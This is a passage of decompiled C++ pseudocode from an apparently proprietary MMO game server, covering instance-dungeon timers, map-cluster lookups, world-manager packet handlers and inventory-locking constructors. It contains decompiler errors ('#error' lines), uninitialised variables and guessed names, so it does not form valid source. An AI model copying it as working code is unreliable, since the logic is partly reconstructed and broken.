*)(v7 + 84) == Cateroty ) break; } ++v4->mc_Pointer; ++v5; if ( v5 >= LOWORD(v4->mc_MapNumber) ) goto LABEL_10; } MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(v4, v4->mc_Pointer, playerCheck); } LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapClusterNamager::mc_DeleteInstanceDungeon"); } //----- (00475680) -------------------------------------------------------- char __thiscall MapClusterManager::MapCluster::mc_Routine(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 handle) { int v3; // edi@1 char *v4; // esi@2 bool v5; // zf@4 char v6; // al@4 char *v7; // eax@6 ZoneBaseSession *v8; // eax@8 unsigned int v9; // eax@12 unsigned int v10; // eax@14 unsigned int v11; // eax@16 char *v12; // edi@16 int v13; // eax@16 ZoneBaseSession *v14; // eax@18 unsigned int v15; // eax@21 unsigned int v16; // eax@24 unsigned int v17; // eax@27 unsigned int v18; // eax@30 const char *v19; // eax@31 void *v20; // ecx@32 int v21; // eax@32 unsigned int v22; // eax@35 const char *v23; // eax@36 void *v24; // ecx@37 int v25; // eax@37 int i; // [sp+10h] [bp-28h]@1 AxialListWall alw; // [sp+18h] [bp-20h]@32 AxialListWall thisa; // [sp+20h] [bp-18h]@37 int v30; // [sp+34h] [bp-4h]@1 int v31; // [sp+38h] [bp+0h]@22 char v32; // [sp+54h] [bp+1Ch]@0 int v33; // [sp+9844h] [bp+980Ch]@0 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapClusterManager::MapCluster::mc_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::MapCluster::mc_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v30 = 0; i = 0; if ( v33 > 0 ) { v4 = &v32; while ( *((_DWORD *)v4 - 3) == -1 ) { LABEL_39: ++v3; v4 += 76; i = v3; if ( v3 >= v33 ) goto LABEL_40; } v5 = FieldMap::fm_Exist(*((void **)v4 - 4), 4) == 0; v6 = *(v4 - 8); if ( v5 ) { if ( !v6 ) { if ( *(v4 - 7) ) { LABEL_14: v10 = *((_DWORD *)v4 + 1); if ( clockwatch.cw_CurrTick > v10 ) { *((_DWORD *)v4 + 1) = v10 + *((_DWORD *)v4 + 2); if ( *(v4 - 8) ) goto LABEL_21; *(v4 - 8) = 1; v11 = clockwatch.cw_CurrTick; *(_DWORD *)v4 = 3000; *((_DWORD *)v4 - 1) = v11 + 3000; v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -23551; v12[2] = v4[56]; *(_DWORD *)(v12 + 3) = *((_DWORD *)v4 - 3); v13 = VectorClass::VectorWithLength::vwl_GetLength(*((_DWORD *)v4 - 4)); *(_DWORD *)(v12 + 7) = *(_DWORD *)v13; *(_DWORD *)(v12 + 11) = *(_DWORD *)(v13 + 4); *(_DWORD *)(v12 + 15) = *(_DWORD *)(v13 + 8); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 19) ) { v14 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v14); } else { AssertClass::ac_AssertFail( &shineassert, "MapClusterManager::MapCluster::mc_Routine : Packet Too Long", 19); } v3 = i; } LABEL_20: if ( !*(v4 - 8) ) { LABEL_23: if ( v4[12] ) { v16 = *((_DWORD *)v4 + 4); if ( clockwatch.cw_CurrTick > v16 ) { *((_DWORD *)v4 + 4) = v16 + *((_DWORD *)v4 + 5); MapClusterManager::MapCluster::mc_MissoionFailInstance( (MapClusterManager::MapCluster *)&v31, *((#1265 **)v4 - 4), "DungeonTimeout"); } } if ( v4[24] ) { v17 = *((_DWORD *)v4 + 7); if ( clockwatch.cw_CurrTick > v17 ) { *((_DWORD *)v4 + 7) = v17 + *((_DWORD *)v4 + 8); MapClusterManager::MapCluster::mc_DeleteInstanceDungeon((MapClusterManager::MapCluster *)&v31, v3, 0); } } if ( v4[36] ) { v18 = *((_DWORD *)v4 + 10); if ( clockwatch.cw_CurrTick > v18 ) { *((_DWORD *)v4 + 10) = v18 + *((_DWORD *)v4 + 11); v19 = ShineScript::ss_String(&shinescriptetc, "LimitTimeMessageFirst"); if ( v19 ) { AxialListWall::AxialListWall(&alw, v19); v20 = (void *)*((_DWORD *)v4 - 4); LOBYTE(v30) = 1; v21 = FieldMap::fm_GetCenterObject(v20); ShineObjectClass::ShineObject::so_AllInMap((void *)v21, (int)&alw, 0); LOBYTE(v30) = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alw); } else { AssertClass::ac_AssertFail(&shineassert, "Not Found ETC : LimitTimeMessageFirst", 0); } } if ( v4[36] ) { v22 = *((_DWORD *)v4 + 12); if ( clockwatch.cw_CurrTick > v22 ) { *((_DWORD *)v4 + 12) = v22 + *((_DWORD *)v4 + 13); v23 = ShineScript::ss_String(&shinescriptetc, "LimitTimeMessageSecond"); if ( v23 ) { AxialListWall::AxialListWall(&thisa, v23); v24 = (void *)*((_DWORD *)v4 - 4); LOBYTE(v30) = 2; v25 = FieldMap::fm_GetCenterObject(v24); ShineObjectClass::ShineObject::so_AllInMap((void *)v25, (int)&thisa, 0); LOBYTE(v30) = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&thisa); } else { AssertClass::ac_AssertFail(&shineassert, "Not Found ETC : LimitTimeMessageSecond", 0); } } } } goto LABEL_39; } LABEL_21: v15 = *((_DWORD *)v4 - 1); if ( clockwatch.cw_CurrTick > v15 ) { *((_DWORD *)v4 - 1) = v15 + *(_DWORD *)v4; MapClusterManager::MapCluster::mc_DeleteInstanceDungeon((MapClusterManager::MapCluster *)&v31, v3, 0); } goto LABEL_23; } v9 = clockwatch.cw_CurrTick + 200; *((_DWORD *)v4 + 2) = 200; *((_DWORD *)v4 + 1) = v9; *(v4 - 7) = 1; } } else { if ( v6 == 1 ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -23549; v7[2] = v4[56]; *(_DWORD *)(v7 + 3) = *((_DWORD *)v4 - 3); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::MapCluster::mc_Routine : Packet Too Long", 7); *(v4 - 8) = 0; *(v4 - 7) = 0; goto LABEL_13; } v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v8); } *(v4 - 8) = 0; *(v4 - 7) = 0; } LABEL_13: if ( !*(v4 - 7) ) goto LABEL_20; goto LABEL_14; } LABEL_40: --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapClusterManager::MapCluster::mc_Routine"); return 1; } //----- (004759F0) -------------------------------------------------------- #error "4759F0: undefined or illegal type '#593' (funcsize=118)" //----- (00475B80) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MID_GET_MAP_INFO_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_GET_MAP_INFO_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MID_GET_MAP_INFO_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FieldContainer::fc_Get_MID_MapInfo(&fieldlist, (PROTO_NC_MID_GET_MAP_INFO_REQ *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_GET_MAP_INFO_REQ"); } //----- (00475C20) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MID_MID_MAP_NAME_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_MID_MAP_NAME_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MID_MID_MAP_NAME_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; FieldContainer::fc_Set_MID_Map(&fieldlist, (PROTO_NC_MID_MID_MAP_NAME_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_MID_MAP_NAME_CMD"); } //----- (00475CC0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MID_START_SCRIPT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { Name3 *v3; // esi@1 char *v4; // eax@2 int (__stdcall **lss)(int, __int16); // [sp+Ch] [bp-45Ch]@1 FieldContainer *v6; // [sp+10h] [bp-458h]@1 void **v7; // [sp+14h] [bp-454h]@1 char *v8; // [sp+18h] [bp-450h]@1 void *v9; // [sp+1Ch] [bp-44Ch]@1 __int16 v10; // [sp+20h] [bp-448h]@1 FunctionEntarance _; // [sp+24h] [bp-444h]@1 PineScriptToken MID_InitValue; // [sp+28h] [bp-440h]@2 PineScriptToken ScriptLanguage; // [sp+128h] [bp-340h]@2 char v14; // [sp+228h] [bp-240h]@1 char sScriptLanguage[128]; // [sp+3D0h] [bp-98h]@2 unsigned int v16; // [sp+454h] [bp-14h]@1 int v17; // [sp+464h] [bp-4h]@1 int v18; // [sp+468h] [bp+0h]@1 v16 = (unsigned int)&v18 ^ __security_cookie; _.fe_FunctionCode = "WorldManagerSession::wms_NC_MID_START_SCRIPT_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_START_SCRIPT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MID_START_SCRIPT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; FieldMap::FieldMap(&v14, &netcmd[1]); lss = &ListSearchSame::_vftable_; v6 = &fieldlist; v7 = &FieldMap::fm_Compare; v8 = &v14; v9 = 0; v10 = -1; LOBYTE(v17) = 2; List::l_4AllInList((List *)&fieldlist, (ListIteratorDefault *)&lss); v3 = (Name3 *)v9; if ( v9 ) { FieldMap::fm_ClearObject(v9, 0x3B6u); memset(sScriptLanguage, 0, sizeof(sScriptLanguage)); strncpy(sScriptLanguage, (const char *)&netcmd[7], 0x20u); FieldMap::fm_DropFilm(v3, sScriptLanguage); PineScriptToken::PineScriptToken(&ScriptLanguage, sScriptLanguage); LOBYTE(v17) = 3; PineScriptToken::pst_Clear(&MID_InitValue); LOBYTE(v17) = 4; MoveManager::MoveManager((DiceTaiSai *)&ScriptLanguage); FieldMap::fm_PlayFilm(v3, v4, &MID_InitValue); LOBYTE(v17) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&MID_InitValue); LOBYTE(v17) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ScriptLanguage); } LOBYTE(v17) = 0; lss = &ListIteratorDefault::_vftable_; FieldMap::_FieldMap((int)&v14); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_START_SCRIPT_CMD"); } // 414350: using guessed type int __thiscall FieldMap__fm_DropFilm(_DWORD, _DWORD); // 446B90: using guessed type void *FieldMap__fm_Compare; // 4571C0: using guessed type int __thiscall FieldMap__FieldMap(_DWORD, _DWORD); // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00475EB0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MID_DESTROY_SCRIPT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { int v3; // esi@1 int (__stdcall **lss)(int, __int16); // [sp+8h] [bp-1D4h]@1 FieldContainer *v5; // [sp+Ch] [bp-1D0h]@1 void **v6; // [sp+10h] [bp-1CCh]@1 char *v7; // [sp+14h] [bp-1C8h]@1 void *v8; // [sp+18h] [bp-1C4h]@1 __int16 v9; // [sp+1Ch] [bp-1C0h]@1 FunctionEntarance _; // [sp+20h] [bp-1BCh]@1 char v11; // [sp+24h] [bp-1B8h]@1 unsigned int v12; // [sp+1CCh] [bp-10h]@1 int v13; // [sp+1D8h] [bp-4h]@1 v12 = (unsigned int)&lss ^ __security_cookie; _.fe_FunctionCode = "WorldManagerSession::wms_NC_MID_DESTROY_SCRIPT_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_DESTROY_SCRIPT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MID_DESTROY_SCRIPT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; FieldMap::FieldMap(&v11, &netcmd[1]); lss = &ListSearchSame::_vftable_; v5 = &fieldlist; v6 = &FieldMap::fm_Compare; v7 = &v11; v8 = 0; v9 = -1; LOBYTE(v13) = 2; List::l_4AllInList((List *)&fieldlist, (ListIteratorDefault *)&lss); v3 = (int)v8; if ( v8 ) { FieldMap::fm_ClearObject(v8, 0x3B2u); FieldMap::fm_Clear_MIDPlayerInfoList(v3); } LOBYTE(v13) = 0; lss = &ListIteratorDefault::_vftable_; FieldMap::_FieldMap((int)&v11); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MID_DESTROY_SCRIPT_CMD"); __security_check_cookie((unsigned int)&lss ^ v12); } // 446B90: using guessed type void *FieldMap__fm_Compare; // 4571C0: using guessed type int __thiscall FieldMap__FieldMap(_DWORD, _DWORD); // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00476000) -------------------------------------------------------- MapClusterManager::MapCluster *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(MapClusterManager::MapCluster *, List *, unsigned __int16, MapClusterManager::MapCluster *), unsigned __int16 *hnd, MapClusterManager::MapCluster *key) { MapClusterManager::MapCluster *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(MapClusterManager::MapCluster *, List *, unsigned __int16, MapClusterManager::MapCluster *); // [sp+8h] [bp-1Ch]@1 MapClusterManager::MapCluster *v8; // [sp+Ch] [bp-18h]@1 MapClusterManager::MapCluster *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (00476070) -------------------------------------------------------- char __thiscall DeleteDungeon::lid_Call(DeleteDungeon *this, MapClusterManager::MapCluster *ele, unsigned __int16 handle) { MapClusterManager::MapCluster::mc_DeleteInstanceDungeon( ele, this->_RegisterNumber, this->_Category, this->_playerCheck); return 1; } //----- (00476090) -------------------------------------------------------- #1265 *__thiscall MapClusterManager::ClusterManager::cm_FindEmptyByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber, INSTANCE_DUNGEON::CATEGORY Category) { List *v4; // esi@1 MapClusterManager::MapCluster *v5; // eax@1 #1265 *result; // eax@4 __int16 hnd; // [sp+Ch] [bp-982Ch]@1 FunctionEntarance _; // [sp+10h] [bp-9828h]@1 MapClusterManager::MapCluster key; // [sp+14h] [bp-9824h]@1 unsigned int v10; // [sp+9828h] [bp-10h]@1 int v11; // [sp+9834h] [bp-4h]@1 v4 = (List *)this; v10 = (unsigned int)&hnd ^ __security_cookie; _.fe_FunctionCode = "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; MapClusterManager::MapCluster::MapCluster(&key, (char *)clientmapname); LOBYTE(v11) = 1; v5 = List::l_Search( v4, MapClusterManager::MapCluster::mc_CompName, (unsigned __int16 *)&hnd, &key); if ( v5 ) { MapClusterManager::MapCluster::mc_FindEmptyByRegnum(v5, RegisterNumber, Category); LOBYTE(v11) = 0; MapClusterManager::MapCluster::_MapCluster(&key); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"); } else { LOBYTE(v11) = 0; MapClusterManager::MapCluster::_MapCluster(&key); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"); } __security_check_cookie((unsigned int)&hnd ^ v10); return result; } //----- (004761E0) -------------------------------------------------------- MapClusterManager::MapCluster *__thiscall MapClusterManager::ClusterManager::cm_FindMapCluster(MapClusterManager::ClusterManager *this, const char *clientmapname) { List *v2; // esi@1 MapClusterManager::MapCluster *result; // eax@1 __int16 hnd; // [sp+8h] [bp-982Ch]@1 FunctionEntarance _; // [sp+Ch] [bp-9828h]@1 MapClusterManager::MapCluster key; // [sp+10h] [bp-9824h]@1 unsigned int v7; // [sp+9824h] [bp-10h]@1 int v8; // [sp+9830h] [bp-4h]@1 v2 = (List *)this; v7 = (unsigned int)&hnd ^ __security_cookie; _.fe_FunctionCode = "MapClusterManager::ClusterManager::cm_FindMapCluster"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindMapCluster"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindMapCluster"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; MapClusterManager::MapCluster::MapCluster(&key, (char *)clientmapname); LOBYTE(v8) = 1; List::l_Search( v2, MapClusterManager::MapCluster::mc_CompName, (unsigned __int16 *)&hnd, &key); LOBYTE(v8) = 0; MapClusterManager::MapCluster::_MapCluster(&key); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindMapCluster"); __security_check_cookie((unsigned int)&hnd ^ v7); return result; } //----- (004762F0) -------------------------------------------------------- char __thiscall MapClusterManager::ClusterManager::cm_PlayerinToInstanceDungeon(MapClusterManager::ClusterManager *this, Name3 *pInsMapName, FieldOption::InstanceDungeonInfo *Info, unsigned int RegisterNumber, INSTANCE_DUNGEON::CATEGORY Category) { INSTANCE_DUNGEON::CATEGORY v6; // ebx@3 int v7; // eax@3 void *v8; // esi@3 #1265 *v9; // eax@4 int v10; // eax@8 int v11; // eax@9 int v12; // eax@9 int v13; // ecx@9 int v14; // eax@12 AxialListMobCounter almc; // [sp+4h] [bp-24h]@9 int v16; // [sp+24h] [bp-4h]@9 if ( !Info ) return 2; v6 = Category; v7 = (int)MapClusterManager::ClusterManager::cm_FindExistByRegnum( &mapclustermanager, Info->MapIDClient, RegisterNumber, Category, (unsigned __int16 *)&Category); v8 = (void *)v7; if ( v7 ) { if ( (_WORD)Category == 4 ) { v10 = VectorClass::VectorWithLength::vwl_GetLength(v7); *(_QWORD *)&pInsMapName->n3_name[0] = *(_QWORD *)v10; *(_DWORD *)&pInsMapName->n3_name[8] = *(_DWORD *)(v10 + 8); return 4; } AxialListMobCounter::AxialListMobCounter(&almc, 0xFFFFu, 0, 0, 100); v16 = 0; v11 = FieldMap::fm_GetCenterObject(v8); ShineObjectClass::ShineObject::so_AllInMap((void *)v11, (int)&almc, 0); v12 = VectorClass::VectorWithLength::vwl_GetLength((int)&almc); v13 = Info->MaxUseCount; v16 = -1; if ( v13 <= v12 ) { AxialListMobCounter::_AxialListMobCounter(&almc); return 3; } AxialListMobCounter::_AxialListMobCounter(&almc); } else { v9 = MapClusterManager::ClusterManager::cm_FindEmptyByRegnum( &mapclustermanager, Info->MapIDClient, RegisterNumber, v6); v8 = (void *)v9; if ( !v9 ) return 1; ZoneRingPacketFindInstanceDungeon::zrpb_Success(&zonringpack_findinstancedungeon, Info, v9); } MoveManager::MoveManager((DiceTaiSai *)v8); *(_QWORD *)&pInsMapName->n3_name[0] = *(_QWORD *)v14; *(_DWORD *)&pInsMapName->n3_name[8] = *(_DWORD *)(v14 + 8); return 0; } //----- (00476470) -------------------------------------------------------- #error "476470: undefined or illegal type '#593' (funcsize=275)" //----- (004768B0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CenChange::InvenCellReleaser_CenChange(InventoryLocking::InvenCellReleaser_CenChange *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CenChange::_vftable_; } // 645278: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CenChange___vftable_)(int, int lc, char inchest); //----- (004768C0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FameChange::InvenCellReleaser_FameChange(InventoryLocking::InvenCellReleaser_FameChange *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_FameChange::_vftable_; } // 645288: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_FameChange___vftable_)(int, int lc, char inchest); //----- (004768D0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CellClear::InvenCellReleaser_CellClear(InventoryLocking::InvenCellReleaser_CellClear *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CellClear::_vftable_; } // 645298: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CellClear___vftable_)(int, int lc, char inchest); //----- (004768E0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CellChange::InvenCellReleaser_CellChange(InventoryLocking::InvenCellReleaser_CellChange *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CellChange::_vftable_; } // 6452A8: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CellChange___vftable_)(int, int lc, char inchest); //----- (004768F0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CellChangeSmall::InvenCellReleaser_CellChangeSmall(InventoryLocking::InvenCellReleaser_CellChangeSmall *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CellChangeSmall::_vftable_; } // 6452B8: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CellChangeSmall___vftable_)(int, int lc, char inchest); //----- (00476900) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageClear::InvenCellReleaser_GuildStorageClear(InventoryLocking::InvenCellReleaser_GuildStorageClear *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildStorageClear::_vftable_; } // 6452C8: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_GuildStorageClear___vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #593 *, int lc, char inchest); //----- (00476910) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageChange::InvenCellReleaser_GuildStorageChange(InventoryLocking::InvenCellReleaser_GuildStorageChange *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildStorageChange::_vftable_; } // 6452D8: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_GuildStorageChange___vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #593 *, int lc, char inchest); //----- (00476920) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::_vftable_; } // 6452E8: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_GuildAcademyRewardStorageRelocClear___vftable_)(int, int lc, char inchest); //----- (00476930) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc::_vftable_; } // 6452F8: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_GuildAcademyRewardStorageReloc___vftable_)(int, int lc, char inchest); //----- (00476940) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng *this) { this->baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::_vftable_; } // 645308: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng___vftable_)(int flag, int lc, char inchest); //----- (00476950) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::InvenCellReleaser_FurnitureReloc(InventoryLocking::InvenCellReleaser_FurnitureReloc *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_FurnitureReloc::_vftable_; } // 645318: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_FurnitureReloc___vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #593 *, int lc, char inchest); //----- (00476960) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FurnitureCellClear::InvenCellReleaser_FurnitureCellClear(InventoryLocking::InvenCellReleaser_FurnitureCellClear *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_FurnitureCellClear::_vftable_; } // 645328: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_FurnitureCellClear___vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #593 *, int lc, char inchest); //----- (00476970) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_EquipLocation::InvenCellReleaser_EquipLocation(InventoryLocking::InvenCellReleaser_EquipLocation *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_EquipLocation::_vftable_; } // 645338: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_EquipLocation___vftable_)(#593 *pObj, int lc, char inchest); //----- (00476980) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::InvenCellReleaser_ItemUse(InventoryLocking::InvenCellReleaser_ItemUse *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_ItemUse::_vftable_; } // 645348: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_ItemUse___vftable_)(int, int lc, char inchest); //----- (00476990) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_PointStone::InvenCellReleaser_PointStone(InventoryLocking::InvenCellReleaser_PointStone *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_PointStone::_vftable_; } // 645358: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_PointStone___vftable_)(int, int lc, char inchest); //----- (004769A0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_QuestReward::InvenCellReleaser_QuestReward(InventoryLocking::InvenCellReleaser_QuestReward *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_QuestReward::_vftable_; } // 645368: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_QuestReward___vftable_)(int, int lc, char inchest); //----- 